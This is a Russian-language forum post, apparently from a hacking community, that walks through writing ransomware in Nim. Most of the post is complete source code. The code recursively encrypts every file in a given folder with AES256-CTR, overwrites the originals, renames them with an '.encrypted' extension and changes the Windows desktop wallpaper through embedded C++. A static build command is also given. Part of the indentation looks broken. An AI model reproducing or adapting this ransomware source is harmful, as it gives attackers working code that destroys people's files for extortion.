Статья Пишем программу-вымогатель на Nim [Ransomware]

admin

Администратор
Команда форума
1 Дек 2019
858
16
840
ovnl.in
Программу-вымогатель подругому называют вирус класса Ransomware. Сегодня мы напишем подобную прогамму на языке Nim.

Подготовка окружающей среды

Сначала нам нужно подготовить нашу установку. Страницу установки можно найти здесь. После установки Nim нам нужно настроить нашу среду разработки. Вы можете следовать инструкциям.

Шифрование

Внутри OffensiveNim есть скрипт, который показывает, как работать с шифрованием в Nim, AES256-CTR, если быть точным. В нем есть вся информация, необходимая для того, чтобы начать писать нашу часть. Мы хотим иметь возможность: рекурсивно зашифровать любую данную папку, получить нужную папку и ключ в качестве аргументов, изменить расширение файла, а также изменить обои (возможно, с помощью Windows API). На данный момент код должен выглядеть так:

Код:
import os
import strformat
import base64
import nimcrypto
import nimcrypto/sysrand

func toByteSeq*(str: string): seq[byte] {.inline.} =

  # Converts a string to the corresponding byte sequence
  @(str.toOpenArrayByte(0, str.high))
let
  password: string = paramStr(1) # Our secret key
  path: string = paramStr(2) # Full path to the folder

for file in walkDirRec path: # For any file/folder inside our folder
  let fileSplit = splitFile(file)
  if fileSplit.ext != ".encrypted": # Checking if the file is not encrypted yet
  echo fmt"[*] Encrypting: {file}"
  var
    inFileContents: string = readFile(file) # Getting the content of the file
    plaintext: seq[byte] = toByteSeq(inFileContents) # Formating the content to bytes
    ectx: CTR[aes256]
    key: array[aes256.sizeKey, byte]
    iv: array[aes256.sizeBlock, byte]
    encrypted: seq[byte] = newSeq[byte](len(plaintext))

  iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
  var expandedKey = sha256.digest(password)
  copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))

  ectx.init(key, iv)
  ectx.encrypt(plaintext, encrypted)
  ectx.clear()

  let encodedCrypted = encode(encrypted) # This var contains the encrypted data
  let finalFile = file & ".encrypted" # Giving a new extension
  moveFile(file, finalFile) # Changing the file extension
  writeFile(finalFile, encodedCrypted) # Writing the encrypted data to the file (Deletes everything that was there before)


Отлично работает. А теперь попробуем сменить обои. Я немного поискал и пришел по вышеуказанному API Call от Microsoft - SystemParametersInfoW. Эта функция также может обновлять профиль пользователя при установке параметра.

В частности, интересным был флаг SPI_SETDESKWALLPAPER. С помощью следующего C++ кода мы сможем изменить обои:

C++:
#include <iostream>
#include <Windows.h>

int WallPaper() {
  const wchar_t *path = L"C:\\Users\\Public\\pic.jpg";
  SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void *)path, SPIF_UPDATEINIFILE);    
  return 0;
}

Теперь к интересной части. Нам не нужно много работать здесь, пытаясь преобразовать код на C++ в Nim. Мы можем просто скопировать-вставить (с некоторой модификацией) код непосредственно в Nim!

Весь код:
Код:
import os
import strformat
import base64
import nimcrypto
import nimcrypto/sysrand

func toByteSeq*(str: string): seq[byte] {.inline.} =

  # Converts a string to the corresponding byte sequence
  @(str.toOpenArrayByte(0, str.high))
let
  password: string = paramStr(1) # Our secret key
  path: string = paramStr(2) # Full path to the folder

# Start of the C++ code
{.emit: """
#include <iostream>
#include <Windows.h>

int Wallpaper() {
  const wchar_t *path = L"C:\\Users\\Public\\pic.jpg";
  SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void *)path, SPIF_UPDATEINIFILE);    
  return 0;
}
""".}

# Importing the code to nim
proc Wallpaper(): int
  {.importcpp: "Wallpaper", nodecl.}

var result = Wallpaper()

for file in walkDirRec path: # For any file/folder inside our folder
  let fileSplit = splitFile(file)
  if fileSplit.ext != ".encrypted": # Checking if the file is not encrypted yet
  echo fmt"[*] Encrypting: {file}"
  var
    inFileContents: string = readFile(file) # Getting the content of the file
    plaintext: seq[byte] = toByteSeq(inFileContents) # Formating the content to bytes
    ectx: CTR[aes256]
    key: array[aes256.sizeKey, byte]
    iv: array[aes256.sizeBlock, byte]
    encrypted: seq[byte] = newSeq[byte](len(plaintext))

  iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
  var expandedKey = sha256.digest(password)
  copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))

  ectx.init(key, iv)
  ectx.encrypt(plaintext, encrypted)
  ectx.clear()

  let encodedCrypted = encode(encrypted) # This var contains the encrypted data
  let finalFile = file & ".encrypted" # Giving a new extension
  moveFile(file, finalFile) # Changing the file extension
  writeFile(finalFile, encodedCrypted) # Writing the encrypted data to the file (Deletes everything that was there before)

Теперь я скомпилирую код с вышеуказанными флагами:
Bash:
nim cpp -d:release --app=console --opt:speed --passl="-static -static-libgcc -static-libstdc++" enc.nim

 
  • Симпатия
Реакции: Kratos